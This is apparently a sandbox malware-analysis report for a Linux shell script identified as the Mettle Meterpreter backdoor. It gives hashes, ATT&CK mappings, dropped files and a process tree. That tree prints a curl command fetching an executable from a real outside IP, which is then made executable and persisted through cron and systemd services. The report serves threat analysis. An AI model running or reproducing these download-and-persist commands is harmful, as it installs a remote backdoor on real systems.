mettle | 75f1acc1a43b319031abd03d6d6d14241e0574c50e6bc6e553201348cf8d3873

Analysis

max time kernel
17s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
31/08/2026, 17:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.sh
Size 5KB
Sample260831-v6vlbaxeqa
SHA256 75f1acc1a43b319031abd03d6d6d14241e0574c50e6bc6e553201348cf8d3873
MD5 30103ce5ad4083919d894367c63f1a78
SHA1 e9567b611bf469b037ef974ad53b049b0b1189db
SHA512 c5fe028306317ffb91c81eef6d8c736c99ad8c27235e103e58ff3c8ee64ceea56f1685f92de0a40f91e523a65c05da97351e96b2296d3cdb7f5c6b81520c8eee
SSDEEP 96:Lq1QkRnjKViHyBOR0K0asck34mULf0xlA4jGJF8Ugj0hGBWvyyZRf:Lq1BmViHYOX0aiom60LGJFFi2cPyZRf
TLSH
T108B1C817EE0A85331DEBF0624647B341F634000E6608B5B638FDA018DAF998E01FDD7A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution mettle persistence privilege_escalation

Malware Config

Signatures

Family: Mettle
Mettle is an open-source Meterpreter payload for Linux.
backdoor mettle

Detects Mettle payload 1 IoCs

resource	yara_rule
behavioral4/files/fstream-3.dat	family_mettle

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
743	chmod
754	chmod

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nsTEnL	crontab

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/test-elf-monitor.service	test.sh
File opened for modification	/etc/systemd/system/test-elf-daemon.service	test.sh

Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 27 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.JAhddc	test.sh
File opened for modification	/tmp/sh-thd.fXUN8n	test.sh
File opened for modification	/tmp/sh-thd.sqqxvg	test.sh
File opened for modification	/tmp/sh-thd.OvjCk8	test.sh

/tmp/test.sh
/tmp/test.sh
1⤵
- Modifies systemd
- Writes file to tmp directory
PID:714
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:721
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:722
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:726
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:727
- /usr/bin/curl
  curl -s -o /var/test.elf http://64.89.163.22/test.elf
  2⤵
  - Reads runtime system information
  PID:729
- /bin/chmod
  chmod +x /var/test.elf
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:745
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:746
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:748
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:750
- /bin/cat
  cat
  2⤵
  PID:751
- /bin/chmod
  chmod +x /var/check_test_elf.sh
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:756
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:757
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:759
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:760
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:763
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:764
- /bin/grep
  grep -v /var/check_test_elf.sh
  2⤵
  PID:765
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:767
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:768
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:770
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:771
- /bin/cat
  cat
  2⤵
  PID:772
- /bin/cat
  cat
  2⤵
  PID:773
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:774
- /bin/systemctl
  systemctl enable test-elf-monitor.timer
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:788
- /bin/systemctl
  systemctl start test-elf-monitor.timer
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:801
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:804
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:805
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:808
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:809
- /bin/cat
  cat
  2⤵
  PID:812
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:816
- /bin/systemctl
  systemctl enable test-elf-daemon.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:844
- /bin/systemctl
  systemctl start test-elf-daemon.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:867
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:872
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:873
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:877
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:878
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:880
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:881
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:886
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:887
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:895
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:896
- /usr/bin/tee
  tee -a /var/monitor.log
  2⤵
  PID:898
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:899

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

test-elf-daemon.service

Path /etc/systemd/system/test-elf-daemon.service
Size 260B
SHA256 d4ec08c58b679c07ba10d6cd3281a89a3cecf34deff165b7ab71743ff8bb8896
MD5 2e7d2c61a6bfef20fc05c4d256008395
SHA1 9c780a47deba64c210049b7817d8814c24c8367f
SHA512 a46b06bc7da097299d986d1ab6d3684cbe75738eb7e254f34f2b987dd700c4391160723ce051c50da2dccdb07aecc02424c31a965c3664e0e42eec2835b3a0fa
TLSH
T1CAD09513957135B48D453DF1DE779F605D50D6444FCF72310BE0EA6528D1149505789E
MD5 SHA1 SHA512 TLSH

Submit Download

test-elf-monitor.service

Path /etc/systemd/system/test-elf-monitor.service
Size 101B
SHA256 15293483a1ebdbbc5af690f65634bab52ad2837e3b5f9bb3e1e07de1492f9e6f
MD5 a77b5af0e65647f1f09e58ca6738b935
SHA1 1d55b6d27838245995c1e7265c6fc578ffb175ce
SHA512 6073d9192abfefb5df663e3ad1f53393e57ae233b556f7466e116f812e8c99cc433ece4ab05d1f6aa870bedb6da2716458ed7c10c6295907c42567df6e826ab2
TLSH
T1ACB012215C5B566654C535739E249A42B8748B082B89097227F86005AFC1E8A9043EC9
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.sqqxvg

Path /tmp/sh-thd.sqqxvg
Size 720B
SHA256 6f735846f7f012cdfc0e46420e7d1af49d9c4aaa762c89f64cb5da122bc81259
MD5 b5e211235c7ad6f7e3416e84305c89da
SHA1 8880331eb767b217e83229912ff2b85741f65691
SHA512 afdd408b5261ac33fe276f43e3e85ecc4116630022ab50109736aedcab9255e3d73b5c4ff3fced6bb9f2cd21ffbf478db40abf07dde334bb1409f04b3cd5eda3
TLSH
T1D101150B770186E17DEC122306BE51A2777B501B5054E56930ADF0D87F3C00264FD635
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 40B
SHA256 7b15bda9b8ee51e8331f470a0a7af84db07788373274df8f3a7e6e08141080b5
MD5 10fd256d9e6ab1718f7030f803613698
SHA1 ceba43ed7d08f1d59ced038ed5e142045474baeb
SHA512 1e912836a9f68118c83c8ce3238cb4213f90c82aa344a6743e8824468f11648ec8cfd9752cebae85f8b139d9efc2f0c8a74522ce14c766ed7d7a40674e86a34a
MD5 SHA1 SHA512

Submit Download

monitor.log

Path /var/monitor.log
Size 1KB
SHA256 a3e4488b66d709e9e637a136bb25631a845294ae92090a29f12759bcbd00445d
MD5 d6af89a975047ad7ec4c8f27ae492e66
SHA1 0a12765ca45eabe865aa7156e6e415351bc3efd4
SHA512 44c050209378413cfe0cbe99382bcee3ad7aff7cce7d4862a1e9fb82203969ed4767129272aa77ae99be967fa494cf05bd5bd38b89fa7deb42797fefa127852a
TLSH
T1FF310A05C5FB30BEDC9719B8C8263ADF2A1430066705AC673FF4505552D68EB4AA3D29
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 107B
SHA256 a42fc2a821cd76b7085d6ba2e6df8650757c814bf87bd379f08404182ed576dd
MD5 7f7089e8718db6e05de328929b1c98f8
SHA1 4980afe085c211d90198e89d430fb1f1609dc9b7
SHA512 ad82f7c51d5c1f0444d1b13658190661ec16c9531c3d1270c7650dd77bde8d6c369f1259fe7635ed1bd66580a57452dac69ff8ca0fe1da805381f50f690e502a
TLSH
T1D6B012058DD321FF0ECA04E840B515D75E1030029341D8CB07F01400B1924B61E23412
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 175B
SHA256 a821016de339009f7f34b305694e1b3ea81985d3b9b4c6b44f19663f2f0ae13d
MD5 da948664de429b0d4042c6bac7700589
SHA1 f122aee46223a0fbdfee1e95d7e0c98e6dd7c85b
SHA512 4a8c294735e8b198d50d148ece8ab8f11de6c789b6b193df994c54e672ba893ac83ccc17f7db0cded8aae5d0e530d7f6ef42fbb30d354a8e4d6cdca201aecb6b
TLSH
T149C08C0A8AE331FE0DCB48E8846825CB6E113003670598EB7BF02440A2E64F68D6691B
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 245B
SHA256 b1bb2086ad597f97b7eddff3bd02bf060bfe593084201642506cb8a8f483aef6
MD5 c364b7e7231cb8616d1a7635287d9165
SHA1 200513c4e820cd0f3ce9191b218af3d636d7641d
SHA512 6ffd6c09215546cf789c8a621ec68f3cde3d582d5054a39c9682c2e7159b376f7f0efc0023a4abb83e2bafcdb479272b2d37b83b3a069241729503a331669e5c
TLSH
T141D0A70589EB31FE0DC708F8C07965CB2D11700327459CAB3FF0244062D64F68D63D1A
MD5 SHA1 SHA512 TLSH

Submit Download

monitor.log

Path /var/monitor.log
Size 311B
SHA256 fb4ece51cd440e94372f7f5c0c397d32f8fee2d7576c562e3503f7331c7979ec
MD5 152d78eeed250d541e31a056a8a94f61
SHA1 10a7bd3e684894f3a70489c792fa0f6b744d2faf
SHA512 63643ed2b6d81013e2d6347fbc4068bb3938e9065d891baaab2bb431bec1f354e59a1d923390d6608a323f9258bbf2ca104f58744e273b504b71bf744499ba40
TLSH
T101E0C2058AEB71FE0CC708B8C03966CB2D427002374ADCA73FF06040A2D68FA8D67D1A
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.nsTEnL

Path /var/spool/cron/crontabs/tmp.nsTEnL
Size 175B
SHA256 43c4d117ea24e26004f82d693a9618fe4e01b2fe2645c5400007debf5f3378f4
MD5 23bd14e3c491f4f390a5ac327a887a9b
SHA1 5d8f93ed139b38c404d670ffea87985b06808cf2
SHA512 9a5a1a7aedb7ccef077b39b1265e37906180f539cbaefef5edfddd17e58be3f62e526eb6b89710c33a018db0d1e7efe9f2c50b444893f5e63cd750dc18d3252a
TLSH
T1D2C0C00D3F0034306D000705101F011C6941A07EC10FFF01D0DC000803036EC3B51832
MD5 SHA1 SHA512 TLSH

Submit Download

test.elf

Path /var/test.elf
Size 1.1MB
SHA256 d8c3b7036cc3a1e8bdc461cc15e28f1e3cde3fba4a62fc983f4e9ada65588f31
MD5 dfd2e56d190ff65e3ea9788b5c644b7a
SHA1 fe7c3f9c251d2b7fc225441d6311e3ae71be43c9
SHA512 a6677a2ea483ba2a61adceb76bba230377661cbdfcf989fd9fb7bb70d56f83e490c11078e5e40de83f0e6a498ebef861e3e47703b7f587af78c01979e5524701
SSDEEP 24576:wA02G4dDtanDquV+gtV8R0OcvrTudcKEj0hi/djV:y4dDtaDqCV8RrkT5JMiL
TLSH
T16B357E0BAA9504BEC5F5C4B0875FC233AF71B4895212367B2694EA303E67E346F1E791
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads